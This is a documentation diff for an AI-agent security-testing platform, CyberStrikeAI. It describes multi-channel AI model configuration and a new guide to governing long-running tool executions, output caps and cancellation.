- [人机协同最佳实践](zh-CN/hitl-best-practices.md)
|
- [人机协同最佳实践](zh-CN/hitl-best-practices.md)
|
||||||
|
|
||||||
### 功能指南
|
### 功能指南
|
||||||
@@ -58,6 +59,7 @@ CyberStrikeAI documentation is organized by user journey. Start with deployment,
|
|||||||
- [Skills](en-US/skills-guide.md)
|
- [Skills](en-US/skills-guide.md)
|
||||||
- [Eino Multi-Agent](en-US/MULTI_AGENT_EINO.md)
|
- [Eino Multi-Agent](en-US/MULTI_AGENT_EINO.md)
|
||||||
- [Workflows](en-US/workflow-graph.md)
|
- [Workflows](en-US/workflow-graph.md)
|
||||||
|
- [Tool Execution Governance](en-US/tool-execution-governance.md)
|
||||||
- [HITL Best Practices](en-US/hitl-best-practices.md)
|
- [HITL Best Practices](en-US/hitl-best-practices.md)
|
||||||
|
|
||||||
### Feature guides
|
### Feature guides
|
||||||
|
|||||||
@@ -13,7 +13,7 @@
|
|||||||
|
|
||||||
- [Architecture](architecture.md) · [Security Model](security-model.md) · [RBAC](rbac.md)
|
- [Architecture](architecture.md) · [Security Model](security-model.md) · [RBAC](rbac.md)
|
||||||
- [Agents and Roles](agent-and-role-guide.md) · [Skills](skills-guide.md) · [Eino Multi-Agent](MULTI_AGENT_EINO.md)
|
- [Agents and Roles](agent-and-role-guide.md) · [Skills](skills-guide.md) · [Eino Multi-Agent](MULTI_AGENT_EINO.md)
|
||||||
- [Workflows](workflow-graph.md) · [HITL Best Practices](hitl-best-practices.md)
|
- [Workflows](workflow-graph.md) · [Tool Execution Governance](tool-execution-governance.md) · [HITL Best Practices](hitl-best-practices.md)
|
||||||
|
|
||||||
## Feature guides
|
## Feature guides
|
||||||
|
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ vision:
|
|||||||
timeout_seconds: 60
|
timeout_seconds: 60
|
||||||
```
|
```
|
||||||
|
|
||||||
Empty `api_key`, `base_url`, or `provider` inherits from `openai`.
|
Empty `api_key`, `base_url`, or `provider` inherits from the resolved default AI channel.
|
||||||
|
|
||||||
## Data Handling
|
## Data Handling
|
||||||
|
|
||||||
|
|||||||
@@ -45,6 +45,18 @@ Multi-agent:
|
|||||||
|
|
||||||
`orchestration` may be `deep`, `plan_execute`, or `supervisor`.
|
`orchestration` may be `deep`, `plan_execute`, or `supervisor`.
|
||||||
|
|
||||||
|
Common request body fields:
|
||||||
|
|
||||||
|
| Field | Meaning |
|
||||||
|
| --- | --- |
|
||||||
|
| `message` | User message, required. |
|
||||||
|
| `conversationId` | Continue an existing conversation; empty creates a new one. |
|
||||||
|
| `projectId` | Project for a new conversation; empty may follow `config.project.default_project_id`. |
|
||||||
|
| `role` | Use a named role. |
|
||||||
|
| `aiChannelId` | Select a channel from `ai.channels`; empty follows `ai.default_channel`. |
|
||||||
|
| `reasoning` | Per-session reasoning override, controlled by the channel's `reasoning.allow_client_reasoning`. |
|
||||||
|
| `hitl` | Per-session human-in-the-loop settings. |
|
||||||
|
|
||||||
## SSE Notes
|
## SSE Notes
|
||||||
|
|
||||||
Streaming endpoints are long-lived. Clients should:
|
Streaming endpoints are long-lived. Clients should:
|
||||||
|
|||||||
@@ -16,11 +16,15 @@ server:
|
|||||||
# - https://trusted-integration.example
|
# - https://trusted-integration.example
|
||||||
auth:
|
auth:
|
||||||
session_duration_hours: 12
|
session_duration_hours: 12
|
||||||
openai:
|
ai:
|
||||||
provider: openai
|
default_channel: openai-main
|
||||||
base_url: https://api.openai.com/v1
|
channels:
|
||||||
api_key: sk-...
|
openai-main:
|
||||||
model: gpt-4.1
|
name: OpenAI Main
|
||||||
|
provider: openai_compatible
|
||||||
|
base_url: https://api.openai.com/v1
|
||||||
|
api_key: sk-...
|
||||||
|
model: gpt-4.1
|
||||||
agent:
|
agent:
|
||||||
max_iterations: 12000
|
max_iterations: 12000
|
||||||
tool_timeout_minutes: 60
|
tool_timeout_minutes: 60
|
||||||
@@ -30,13 +34,64 @@ Change the initial `admin` password from the Web UI after first login. Use HTTPS
|
|||||||
|
|
||||||
Valid Chromium `chrome-extension://<32-character-extension-id>` origins are recognized automatically. The extension must still obtain host permission and authenticate with a password and Bearer token. `server.cors_allowed_origins` remains available as an exact allowlist for other trusted Web integrations; wildcards are not accepted, and changing it requires a restart.
|
Valid Chromium `chrome-extension://<32-character-extension-id>` origins are recognized automatically. The extension must still obtain host permission and authenticate with a password and Bearer token. `server.cors_allowed_origins` remains available as an exact allowlist for other trusted Web integrations; wildcards are not accepted, and changing it requires a restart.
|
||||||
|
|
||||||
|
## AI Channels
|
||||||
|
|
||||||
|
`ai` is the recommended model configuration entry. In the Web UI, use **System Settings → Basic Settings → AI Channel Configuration**. Saving that form writes `ai.default_channel` and `ai.channels`. The legacy `openai` field remains as a backward-compatible runtime field; on load, CyberStrikeAI ensures a default channel exists and synchronizes the resolved `ai.default_channel` into runtime `openai`.
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
ai:
|
||||||
|
default_channel: openai-main
|
||||||
|
channels:
|
||||||
|
openai-main:
|
||||||
|
name: OpenAI Main
|
||||||
|
provider: openai_compatible
|
||||||
|
base_url: https://api.openai.com/v1
|
||||||
|
api_key: sk-...
|
||||||
|
model: gpt-4.1
|
||||||
|
max_total_tokens: 120000
|
||||||
|
max_completion_tokens: 16384
|
||||||
|
reasoning:
|
||||||
|
mode: on
|
||||||
|
effort: high
|
||||||
|
allow_client_reasoning: true
|
||||||
|
profile: openai_compat
|
||||||
|
claude-main:
|
||||||
|
name: Claude Main
|
||||||
|
provider: claude
|
||||||
|
base_url: https://api.anthropic.com/v1
|
||||||
|
api_key: sk-ant-...
|
||||||
|
model: claude-sonnet-4-5
|
||||||
|
```
|
||||||
|
|
||||||
|
| Field | Meaning |
|
||||||
|
| --- | --- |
|
||||||
|
| `ai.default_channel` | Default channel ID for new conversations and requests without an explicit channel. |
|
||||||
|
| `ai.channels.<id>` | Channel config. IDs are normalized to lowercase letters, digits, and hyphens. |
|
||||||
|
| `name` | Display name in the Web UI; falls back to the ID. |
|
||||||
|
| `provider` | `openai_compatible` or `claude`. OpenAI-compatible channels map to runtime `openai`; Claude channels bridge to Anthropic Messages API. |
|
||||||
|
| `base_url/api_key/model` | Required. Base URL usually includes a version path such as `/v1`. |
|
||||||
|
| `max_total_tokens` | Shared context budget for compression, attack-chain generation, multi-agent summaries, and similar paths. |
|
||||||
|
| `max_completion_tokens` | Per-response output cap; default is used when empty. |
|
||||||
|
| `reasoning` | Default reasoning fields for the channel. Gateway support varies; try `mode: off` first when a provider rejects requests. |
|
||||||
|
|
||||||
|
The chat page reads saved channels into the “AI Channel” selector. A non-empty request `aiChannelId` selects a channel for that run/session without sending API credentials through the prompt path. Empty `aiChannelId` follows `ai.default_channel`.
|
||||||
|
|
||||||
|
Common Web UI operations:
|
||||||
|
|
||||||
|
- Add: click `+`, fill required fields, then save.
|
||||||
|
- Set default: select a channel, click **Set as default**, then save/apply.
|
||||||
|
- Copy: duplicate the current form, useful for the same provider with a different model.
|
||||||
|
- Delete: keep at least one channel; the default channel is protected from bulk delete.
|
||||||
|
- Probe: use **Test connection** or **Bulk probe** to validate API key, Base URL, and model.
|
||||||
|
|
||||||
## Hot-Apply Boundaries
|
## Hot-Apply Boundaries
|
||||||
|
|
||||||
`POST /api/config/apply` coordinates model config, tool description mode, MCP tool registration, knowledge components, robot restarts, and C2 runtime reconciliation. It does not make every field instantly effective.
|
`POST /api/config/apply` coordinates model config, tool description mode, MCP tool registration, knowledge components, robot restarts, and C2 runtime reconciliation. It does not make every field instantly effective.
|
||||||
|
|
||||||
| Section | Usually hot-applies | Extra action |
|
| Section | Usually hot-applies | Extra action |
|
||||||
| --- | --- | --- |
|
| --- | --- | --- |
|
||||||
| `openai` | new requests use new model settings | running streams keep their current state |
|
| `ai.default_channel` / `ai.channels` | new requests use the resolved default or selected channel | running streams keep their current state; reload config for the frontend channel list |
|
||||||
|
| `openai` | compatibility field, usually synchronized from the default AI channel | prefer maintaining new config in `ai.channels` |
|
||||||
| `agent.max_iterations` | new tasks | existing tasks continue |
|
| `agent.max_iterations` | new tasks | existing tasks continue |
|
||||||
| `hitl.tool_whitelist` | new approval checks | pending approvals are not re-decided |
|
| `hitl.tool_whitelist` | new approval checks | pending approvals are not re-decided |
|
||||||
| `knowledge.enabled` | initializes/updates components | scan and index are still required |
|
| `knowledge.enabled` | initializes/updates components | scan and index are still required |
|
||||||
@@ -47,8 +102,8 @@ Valid Chromium `chrome-extension://<32-character-extension-id>` origins are reco
|
|||||||
|
|
||||||
## Fallback Relationships
|
## Fallback Relationships
|
||||||
|
|
||||||
- `vision.api_key/base_url/provider` can inherit from `openai`.
|
- `vision.api_key/base_url/provider` can inherit from the resolved default AI channel.
|
||||||
- `hitl.audit_model` can inherit from `openai`.
|
- `hitl.audit_model` can inherit from the resolved default AI channel.
|
||||||
- `knowledge.embedding.base_url/api_key` can inherit from model settings.
|
- `knowledge.embedding.base_url/api_key` can inherit from model settings.
|
||||||
- rerank config can inherit from embedding/openai.
|
- rerank config can inherit from embedding/openai.
|
||||||
- `database.knowledge_db_path` can be separate or reuse the main DB.
|
- `database.knowledge_db_path` can be separate or reuse the main DB.
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ CyberStrikeAI can run as a local testing tool, an internal team service, or a pr
|
|||||||
- Python for some MCP servers and tool scripts.
|
- Python for some MCP servers and tool scripts.
|
||||||
- SQLite files under `data/`; no external DB is required by default.
|
- SQLite files under `data/`; no external DB is required by default.
|
||||||
- Actual security tools installed in PATH. YAML files under `tools/` only describe commands.
|
- Actual security tools installed in PATH. YAML files under `tools/` only describe commands.
|
||||||
- An OpenAI-compatible model endpoint, or `openai.provider: claude` for the Claude bridge.
|
- At least one `ai.channels` entry. Use `provider: openai_compatible` for OpenAI-compatible endpoints, or `provider: claude` for the Claude bridge.
|
||||||
|
|
||||||
Important persistent paths:
|
Important persistent paths:
|
||||||
|
|
||||||
|
|||||||
@@ -23,12 +23,12 @@ hitl:
|
|||||||
provider: ""
|
provider: ""
|
||||||
base_url: ""
|
base_url: ""
|
||||||
api_key: ""
|
api_key: ""
|
||||||
model: "" # set a small model here; blank reuses openai.model
|
model: "" # set a small model here; blank reuses the default AI channel model
|
||||||
retention_days: 90
|
retention_days: 90
|
||||||
tool_whitelist: [read_file, list_dir, glob, grep, tool_search]
|
tool_whitelist: [read_file, list_dir, glob, grep, tool_search]
|
||||||
```
|
```
|
||||||
|
|
||||||
`audit_model` supports partial configuration. Empty fields inherit from the main `openai` config, so the common setup is to fill only `model` and run approvals on a cheaper small model.
|
`audit_model` supports partial configuration. Empty fields inherit from the resolved default AI channel, so the common setup is to fill only `model` and run approvals on a cheaper small model.
|
||||||
|
|
||||||
## Recommended Approval Strategy
|
## Recommended Approval Strategy
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,221 @@
|
|||||||
|
# Tool Execution Governance
|
||||||
|
|
||||||
|
[Back to English documentation](README.md)
|
||||||
|
|
||||||
|
This document describes how CyberStrikeAI governs long-running tools, blocking MCP calls, oversized outputs, cancellation, and context restore. The goal is to preserve standard Agent/Eino tool semantics while preventing tool hangs, context blowups, oversized database records, and unsafe resume behavior.
|
||||||
|
|
||||||
|
## Goals
|
||||||
|
|
||||||
|
- **Keep the agent runner responsive**: tools may run for a long time, but the current runner waits only for a bounded interval.
|
||||||
|
- **Allow long tasks to continue**: timeout returns an `execution_id`; later turns can call `wait_tool_execution`.
|
||||||
|
- **Support cancellation**: users and agents can cancel a running execution.
|
||||||
|
- **Keep DB and agent views identical**: the database stores the same canonical capped result returned to the agent.
|
||||||
|
- **Protect resume paths**: resume uses model-facing traces and caps historical oversized tool traces.
|
||||||
|
- **Isolate external MCP failures**: external MCP servers are protected by per-server concurrency limits, global concurrency limits, and circuit breakers.
|
||||||
|
|
||||||
|
## Execution Model
|
||||||
|
|
||||||
|
Tool calls still appear to Eino/Agent as standard tool invocations, but the blocking work runs in a worker:
|
||||||
|
|
||||||
|
```text
|
||||||
|
Agent calls tool
|
||||||
|
-> ExecutionService creates execution
|
||||||
|
-> worker runs the real MCP/tool call
|
||||||
|
-> Agent bounded wait
|
||||||
|
-> completed: return tool result
|
||||||
|
-> still running: return execution_id, worker continues in background
|
||||||
|
```
|
||||||
|
|
||||||
|
This prevents MCP servers, `exec`, `sqlmap`, `nmap`, `nuclei`, and similar long-running tools from binding the current runner indefinitely.
|
||||||
|
|
||||||
|
## Execution Statuses
|
||||||
|
|
||||||
|
| Status | Meaning |
|
||||||
|
|---|---|
|
||||||
|
| `queued` | Execution exists and is waiting for a worker or concurrency slot |
|
||||||
|
| `running` | Worker is executing |
|
||||||
|
| `background_running` | UI display state: agent stopped waiting, background worker continues |
|
||||||
|
| `completed` | This tool call completed |
|
||||||
|
| `failed` | The tool actually failed |
|
||||||
|
| `cancelled` | User, agent, or session cleanup cancelled the execution |
|
||||||
|
| `hard_timeout` | The tool exceeded its hard timeout |
|
||||||
|
| `orphaned` | A persisted running execution no longer has a runtime worker |
|
||||||
|
|
||||||
|
Important: when `wait_tool_execution` reaches `timeout_seconds` and the target execution is still running, the wait call itself is a completed observation, not a failed tool execution.
|
||||||
|
|
||||||
|
## Control Tools
|
||||||
|
|
||||||
|
| Tool | Purpose |
|
||||||
|
|---|---|
|
||||||
|
| `get_tool_execution` | Read current execution state |
|
||||||
|
| `wait_tool_execution` | Wait for a selected execution for a bounded interval |
|
||||||
|
| `cancel_tool_execution` | Cancel a selected execution |
|
||||||
|
|
||||||
|
`get_tool_execution` and `wait_tool_execution` can include a live output preview:
|
||||||
|
|
||||||
|
- `include_partial_output`: whether to return partial output, default `true`.
|
||||||
|
- `partial_output_max_bytes`: tail preview limit for this call, default `4096`, maximum `65536`.
|
||||||
|
|
||||||
|
Partial output is a bounded preview of output produced so far, not the final `result`. The canonical `result` is still written only when the tool finishes. Tools that do not support streaming output simply omit partial fields.
|
||||||
|
|
||||||
|
Typical flow:
|
||||||
|
|
||||||
|
```text
|
||||||
|
1. Call a long-running tool such as exec/sqlmap/nmap
|
||||||
|
2. After tool_wait_timeout_seconds, receive execution_id
|
||||||
|
3. Agent can continue reasoning, use other tools, or call wait_tool_execution
|
||||||
|
4. If still incomplete, continue waiting or call cancel_tool_execution
|
||||||
|
```
|
||||||
|
|
||||||
|
`tool_wait_timeout_seconds` applies to internal MCP tools, external MCP tools, and Eino filesystem's streaming `execute`. Eino's non-streaming filesystem tools such as `ls/read_file/write_file/edit_file/glob/grep` are recorded in execution monitoring, but they are not converted into resumable background workers.
|
||||||
|
|
||||||
|
## Cancellation and Session Cleanup
|
||||||
|
|
||||||
|
- User stop cancels running tools for the current conversation.
|
||||||
|
- Normal session end cancels remaining running tools for the current conversation.
|
||||||
|
- Interrupt-and-continue style flows do not mass-cancel tools.
|
||||||
|
- Conversation-scoped cancellation avoids killing tools from other conversations.
|
||||||
|
|
||||||
|
## External MCP Isolation
|
||||||
|
|
||||||
|
External MCP servers can hang, disconnect, or return failures. CyberStrikeAI uses three protections:
|
||||||
|
|
||||||
|
| Capability | Config | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| Per-server concurrency | `external_mcp_max_concurrent_per_server` | Max simultaneous calls for one external MCP server |
|
||||||
|
| Global concurrency | `external_mcp_max_concurrent_total` | Max simultaneous external MCP calls across all servers |
|
||||||
|
| Circuit breaker | `external_mcp_circuit_failure_threshold` / `external_mcp_circuit_cooldown_seconds` | Temporarily fast-fails a server after repeated failures |
|
||||||
|
|
||||||
|
Recommended defaults:
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
agent:
|
||||||
|
external_mcp_max_concurrent_per_server: 2
|
||||||
|
external_mcp_max_concurrent_total: 16
|
||||||
|
external_mcp_circuit_failure_threshold: 3
|
||||||
|
external_mcp_circuit_cooldown_seconds: 60
|
||||||
|
```
|
||||||
|
|
||||||
|
## Output Governance
|
||||||
|
|
||||||
|
CyberStrikeAI uses `multi_agent.eino_middleware.reduction_max_length_for_trunc` as the unified tool result cap. The example configuration uses 50000 bytes.
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
multi_agent:
|
||||||
|
eino_middleware:
|
||||||
|
reduction_enable: true
|
||||||
|
reduction_max_length_for_trunc: 50000
|
||||||
|
```
|
||||||
|
|
||||||
|
Coverage:
|
||||||
|
|
||||||
|
| Channel | Behavior |
|
||||||
|
|---|---|
|
||||||
|
| Agent-facing tool result | Uses the canonical capped result |
|
||||||
|
| DB / monitor storage | Stores the same canonical result |
|
||||||
|
| `get_tool_execution` / `wait_tool_execution` | Reads the same canonical result |
|
||||||
|
| Eino `execute` / filesystem monitor records | Capped before completion is persisted |
|
||||||
|
| Non-streaming `exec` stdout/stderr | Source-side bounded buffer |
|
||||||
|
| Streaming `exec` stdout/stderr | Streamed UI output is also bounded |
|
||||||
|
| PTY execution path | Uses the same output cap |
|
||||||
|
| Frontend detail modal | Has an additional UI display cap |
|
||||||
|
|
||||||
|
When the cap is reached, the full output is written to a local trunc file and the agent-facing payload becomes a `<persisted-output>` notice (with absolute path) that fits inside the configured budget.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
```text
|
||||||
|
<persisted-output>
|
||||||
|
Output too large (200000). Full output saved to: /path/to/tmp/reduction/conversations/<id>/trunc/<execution_id>
|
||||||
|
Use read_file with offset/limit to read parts of the file.
|
||||||
|
Preview (first …):
|
||||||
|
…
|
||||||
|
|
||||||
|
Preview (last …):
|
||||||
|
…
|
||||||
|
|
||||||
|
</persisted-output>
|
||||||
|
```
|
||||||
|
|
||||||
|
The current strategy is “spill full text to disk + bounded preview in context.” Agents can recover the original via `read_file`.
|
||||||
|
|
||||||
|
## Database and Resume Context
|
||||||
|
|
||||||
|
New results are written through this path:
|
||||||
|
|
||||||
|
```text
|
||||||
|
tool completes
|
||||||
|
-> NormalizeToolResultForStorage
|
||||||
|
-> update in-memory execution
|
||||||
|
-> persist to DB
|
||||||
|
-> return to Agent
|
||||||
|
```
|
||||||
|
|
||||||
|
So, under normal operation, the DB stores exactly the result returned to the agent.
|
||||||
|
|
||||||
|
Resume uses `LastAgentTraceInput`, which is the model-facing trace that actually reached ChatModel, not raw event accumulation. The restore path also caps historical tool content to prevent context blowups from:
|
||||||
|
|
||||||
|
- pre-upgrade DB records that contain raw large output,
|
||||||
|
- manual imports or migrations,
|
||||||
|
- lowering the configured cap from a larger value,
|
||||||
|
- future bypasses that accidentally skip canonicalization.
|
||||||
|
|
||||||
|
## Recommended Configuration
|
||||||
|
|
||||||
|
For long-running security tasks:
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
agent:
|
||||||
|
max_iterations: 800
|
||||||
|
tool_timeout_minutes: 60
|
||||||
|
tool_wait_timeout_seconds: 30
|
||||||
|
external_mcp_max_concurrent_per_server: 2
|
||||||
|
external_mcp_max_concurrent_total: 16
|
||||||
|
external_mcp_circuit_failure_threshold: 3
|
||||||
|
external_mcp_circuit_cooldown_seconds: 60
|
||||||
|
shell_no_output_timeout_seconds: 1200
|
||||||
|
|
||||||
|
multi_agent:
|
||||||
|
eino_middleware:
|
||||||
|
reduction_enable: true
|
||||||
|
reduction_max_length_for_trunc: 50000
|
||||||
|
```
|
||||||
|
|
||||||
|
| Parameter | Recommended | Notes |
|
||||||
|
|---|---:|---|
|
||||||
|
| `max_iterations` | `300-1000` | Very large values weaken loop protection |
|
||||||
|
| `tool_timeout_minutes` | `60` | Hard timeout for tools such as sqlmap |
|
||||||
|
| `tool_wait_timeout_seconds` | `30-60` | Agent wait bound before returning `execution_id` |
|
||||||
|
| `shell_no_output_timeout_seconds` | `600-1200` | Kills silent hangs |
|
||||||
|
| `reduction_max_length_for_trunc` | `50000` | Unified tool result cap |
|
||||||
|
|
||||||
|
Do not make `tool_wait_timeout_seconds` very large by default. Long tasks should continue in workers and be observed by `execution_id`, rather than blocking one turn for several minutes.
|
||||||
|
|
||||||
|
## Testing
|
||||||
|
|
||||||
|
Long-task test prompt:
|
||||||
|
|
||||||
|
```text
|
||||||
|
Call exec to run sleep 120. If it is not done after 10 seconds, do not keep waiting; report execution_id, call wait_tool_execution for 5 seconds, then cancel_tool_execution if still incomplete and report final status.
|
||||||
|
```
|
||||||
|
|
||||||
|
Large-output test prompt:
|
||||||
|
|
||||||
|
```text
|
||||||
|
Call exec to run: python3 - <<'PY'
|
||||||
|
print("A" * 200000)
|
||||||
|
PY
|
||||||
|
Then show the tool result length and whether it contains the truncation marker.
|
||||||
|
```
|
||||||
|
|
||||||
|
Expected behavior:
|
||||||
|
|
||||||
|
- The initial long task returns an `execution_id` and status `running` or UI `background_running`.
|
||||||
|
- `wait_tool_execution` timing out while the target is still running is not displayed as a tool failure.
|
||||||
|
- Large output never exceeds `reduction_max_length_for_trunc`.
|
||||||
|
- DB, monitor details, and agent continuation use the same capped result.
|
||||||
|
|
||||||
|
## Boundaries
|
||||||
|
|
||||||
|
- CyberStrikeAI cannot control how a remote external MCP server collects output internally; it caps results after they enter CyberStrikeAI and protects calls with concurrency limits and circuit breakers.
|
||||||
|
- Oversized tool output is spilled to local `tmp/reduction/.../trunc/<id>` (or `reduction_root_dir`) before truncation; the bounded result includes an absolute path for `read_file`.
|
||||||
@@ -56,10 +56,11 @@ Output `1` means that the row was updated. The command requires `sqlite3` and `h
|
|||||||
|
|
||||||
Model fails:
|
Model fails:
|
||||||
|
|
||||||
- wrong `base_url` path;
|
- selected AI channel does not exist; empty selection follows `ai.default_channel`;
|
||||||
|
- wrong `ai.channels.<id>.base_url` path;
|
||||||
- invalid API key;
|
- invalid API key;
|
||||||
- model unavailable;
|
- model unavailable;
|
||||||
- reasoning fields unsupported by gateway. Try `openai.reasoning.mode: off`.
|
- reasoning fields unsupported by gateway. Try `ai.channels.<id>.reasoning.mode: off`.
|
||||||
|
|
||||||
Streaming stalls:
|
Streaming stalls:
|
||||||
|
|
||||||
|
|||||||
@@ -13,7 +13,7 @@
|
|||||||
|
|
||||||
- [架构说明](architecture.md) · [安全模型](security-model.md) · [RBAC](rbac.md)
|
- [架构说明](architecture.md) · [安全模型](security-model.md) · [RBAC](rbac.md)
|
||||||
- [Agent 与角色](agent-and-role-guide.md) · [Skills](skills-guide.md) · [Eino 多代理](MULTI_AGENT_EINO.md)
|
- [Agent 与角色](agent-and-role-guide.md) · [Skills](skills-guide.md) · [Eino 多代理](MULTI_AGENT_EINO.md)
|
||||||
- [工作流](workflow-graph.md) · [人机协同最佳实践](hitl-best-practices.md)
|
- [工作流](workflow-graph.md) · [工具执行治理](tool-execution-governance.md) · [人机协同最佳实践](hitl-best-practices.md)
|
||||||
|
|
||||||
## 功能指南
|
## 功能指南
|
||||||
|
|
||||||
|
|||||||
@@ -12,9 +12,9 @@
|
|||||||
vision:
|
vision:
|
||||||
enabled: true
|
enabled: true
|
||||||
model: qwen-vl-max # 必填
|
model: qwen-vl-max # 必填
|
||||||
api_key: # 留空 → openai.api_key
|
api_key: # 留空 → 默认 AI 通道 api_key
|
||||||
base_url: # 留空 → openai.base_url
|
base_url: # 留空 → 默认 AI 通道 base_url
|
||||||
provider: # 留空 → openai.provider
|
provider: # 留空 → 默认 AI 通道 provider
|
||||||
max_image_bytes: 5242880
|
max_image_bytes: 5242880
|
||||||
max_dimension: 2048
|
max_dimension: 2048
|
||||||
jpeg_quality: 82
|
jpeg_quality: 82
|
||||||
@@ -28,7 +28,7 @@ vision:
|
|||||||
|
|
||||||
## Web 设置
|
## Web 设置
|
||||||
|
|
||||||
**系统设置 → 基本设置 → 视觉分析(analyze_image)** 可配置启用开关、视觉模型、API Key/Base URL(留空复用 OpenAI)、预处理参数;**保存并应用** 后写入 `config.yaml` 并重新注册 MCP 工具。
|
**系统设置 → 基本设置 → 视觉分析(analyze_image)** 可配置启用开关、视觉模型、API Key/Base URL(留空复用默认 AI 通道)、预处理参数;**保存并应用** 后写入 `config.yaml` 并重新注册 MCP 工具。
|
||||||
|
|
||||||
## 路径
|
## 路径
|
||||||
|
|
||||||
|
|||||||
@@ -52,6 +52,18 @@ Content-Type: application/json
|
|||||||
- `plan_execute`
|
- `plan_execute`
|
||||||
- `supervisor`
|
- `supervisor`
|
||||||
|
|
||||||
|
常用请求体字段:
|
||||||
|
|
||||||
|
| 字段 | 说明 |
|
||||||
|
| --- | --- |
|
||||||
|
| `message` | 用户消息,必填。 |
|
||||||
|
| `conversationId` | 继续已有对话;为空时创建新对话。 |
|
||||||
|
| `projectId` | 新对话绑定项目;为空时可跟随 `config.project.default_project_id`。 |
|
||||||
|
| `role` | 使用指定角色。 |
|
||||||
|
| `aiChannelId` | 选择 `ai.channels` 中的通道 ID;为空时使用 `ai.default_channel`。 |
|
||||||
|
| `reasoning` | 会话级推理覆盖,受通道 `reasoning.allow_client_reasoning` 控制。 |
|
||||||
|
| `hitl` | 会话级人机协同配置。 |
|
||||||
|
|
||||||
对话管理:
|
对话管理:
|
||||||
|
|
||||||
- `POST /api/conversations`
|
- `POST /api/conversations`
|
||||||
|
|||||||
+50
-18
@@ -29,26 +29,57 @@ log:
|
|||||||
- `auth.session_duration_hours`:登录会话有效期(小时)。登录密码由 RBAC 用户管理,首次启动时在控制台输出 `admin` 初始密码。
|
- `auth.session_duration_hours`:登录会话有效期(小时)。登录密码由 RBAC 用户管理,首次启动时在控制台输出 `admin` 初始密码。
|
||||||
- `log.output`:可以是 `stdout`、`stderr` 或文件路径。
|
- `log.output`:可以是 `stdout`、`stderr` 或文件路径。
|
||||||
|
|
||||||
## 模型配置
|
## AI 通道与模型配置
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
openai:
|
ai:
|
||||||
provider: openai
|
default_channel: openai-main
|
||||||
base_url: https://api.openai.com/v1
|
channels:
|
||||||
api_key: sk-...
|
openai-main:
|
||||||
model: gpt-4.1
|
name: OpenAI Main
|
||||||
max_total_tokens: 120000
|
provider: openai_compatible
|
||||||
reasoning:
|
base_url: https://api.openai.com/v1
|
||||||
mode: on
|
api_key: sk-...
|
||||||
effort: high
|
model: gpt-4.1
|
||||||
allow_client_reasoning: true
|
max_total_tokens: 120000
|
||||||
profile: openai_compat
|
max_completion_tokens: 16384
|
||||||
|
reasoning:
|
||||||
|
mode: on
|
||||||
|
effort: high
|
||||||
|
allow_client_reasoning: true
|
||||||
|
profile: openai_compat
|
||||||
|
claude-main:
|
||||||
|
name: Claude Main
|
||||||
|
provider: claude
|
||||||
|
base_url: https://api.anthropic.com/v1
|
||||||
|
api_key: sk-ant-...
|
||||||
|
model: claude-sonnet-4-5
|
||||||
```
|
```
|
||||||
|
|
||||||
- `provider`:`openai` 表示 OpenAI 兼容接口;`claude` 会桥接到 Anthropic Claude Messages API。
|
`ai` 是推荐的模型配置入口。系统设置页对应路径是 **系统设置 → 基本设置 → AI 通道配置**,保存后写入 `ai.default_channel` 和 `ai.channels`。旧版 `openai` 字段仍保留为兼容运行时字段;加载配置时会确保至少有一个默认通道,并把 `ai.default_channel` 解析后的配置同步到运行时 `openai`。
|
||||||
- `base_url/api_key/model`:主模型配置。
|
|
||||||
- `max_total_tokens`:上下文压缩、攻击链构建、多代理摘要等共用的总预算。
|
通道字段:
|
||||||
- `reasoning`:控制推理扩展字段。不同网关支持差异较大,异常时先尝试 `mode: off`。
|
|
||||||
|
| 字段 | 说明 |
|
||||||
|
| --- | --- |
|
||||||
|
| `ai.default_channel` | 默认通道 ID。新对话、机器人、批量任务和未显式选择通道的请求使用它。 |
|
||||||
|
| `ai.channels.<id>` | 通道配置。ID 会归一化为小写、数字和短横线,例如 `Qwen_Max` 会变成 `qwen-max`。 |
|
||||||
|
| `name` | Web UI 展示名。留空时使用通道 ID。 |
|
||||||
|
| `provider` | `openai_compatible` 或 `claude`。`openai_compatible` 会在运行时映射为 `openai`;`claude` 会桥接到 Anthropic Messages API。 |
|
||||||
|
| `base_url/api_key/model` | 必填。Base URL 通常需要包含版本路径,如 OpenAI/兼容网关的 `/v1`。 |
|
||||||
|
| `max_total_tokens` | 上下文压缩、攻击链构建、多代理摘要等共用的总预算。 |
|
||||||
|
| `max_completion_tokens` | 单次模型输出上限;未填时使用默认值。 |
|
||||||
|
| `reasoning` | 该通道的默认推理扩展字段。不同网关支持差异较大,异常时先尝试 `mode: off`。 |
|
||||||
|
|
||||||
|
对话页的“AI 通道”下拉框会读取已保存通道。请求体中的 `aiChannelId` 非空时仅对本次/本会话运行配置生效,不会把 API Key 发送给模型;为空时跟随 `ai.default_channel`。
|
||||||
|
|
||||||
|
常用操作:
|
||||||
|
|
||||||
|
- 新增:点击左侧 `+`,填写必填字段后保存。
|
||||||
|
- 设默认:选中通道后点击“设为默认”,保存并应用后新请求生效。
|
||||||
|
- 复制:以当前表单内容创建副本,适合为同一服务商配置不同模型。
|
||||||
|
- 删除:默认通道不能作为批量删除目标;删除后需保留至少一个通道。
|
||||||
|
- 探活:单通道“测试连接”或左侧“批量探活”会调用模型测试接口,适合验证 Key、Base URL 和模型名。
|
||||||
|
|
||||||
## Agent
|
## Agent
|
||||||
|
|
||||||
@@ -213,7 +244,8 @@ project:
|
|||||||
|
|
||||||
| 配置段 | 应用后通常立即生效 | 需要额外动作 |
|
| 配置段 | 应用后通常立即生效 | 需要额外动作 |
|
||||||
| --- | --- | --- |
|
| --- | --- | --- |
|
||||||
| `openai` | 新请求使用新模型配置 | 旧的流式请求不会被强制切换 |
|
| `ai.default_channel` / `ai.channels` | 新请求使用解析后的默认或选定通道 | 旧的流式请求不会被强制切换;前端通道列表需要重新读取配置 |
|
||||||
|
| `openai` | 兼容字段;通常由默认 AI 通道同步 | 新配置优先维护 `ai.channels` |
|
||||||
| `agent.max_iterations` | 新 Agent 任务生效 | 已运行任务按启动时状态继续 |
|
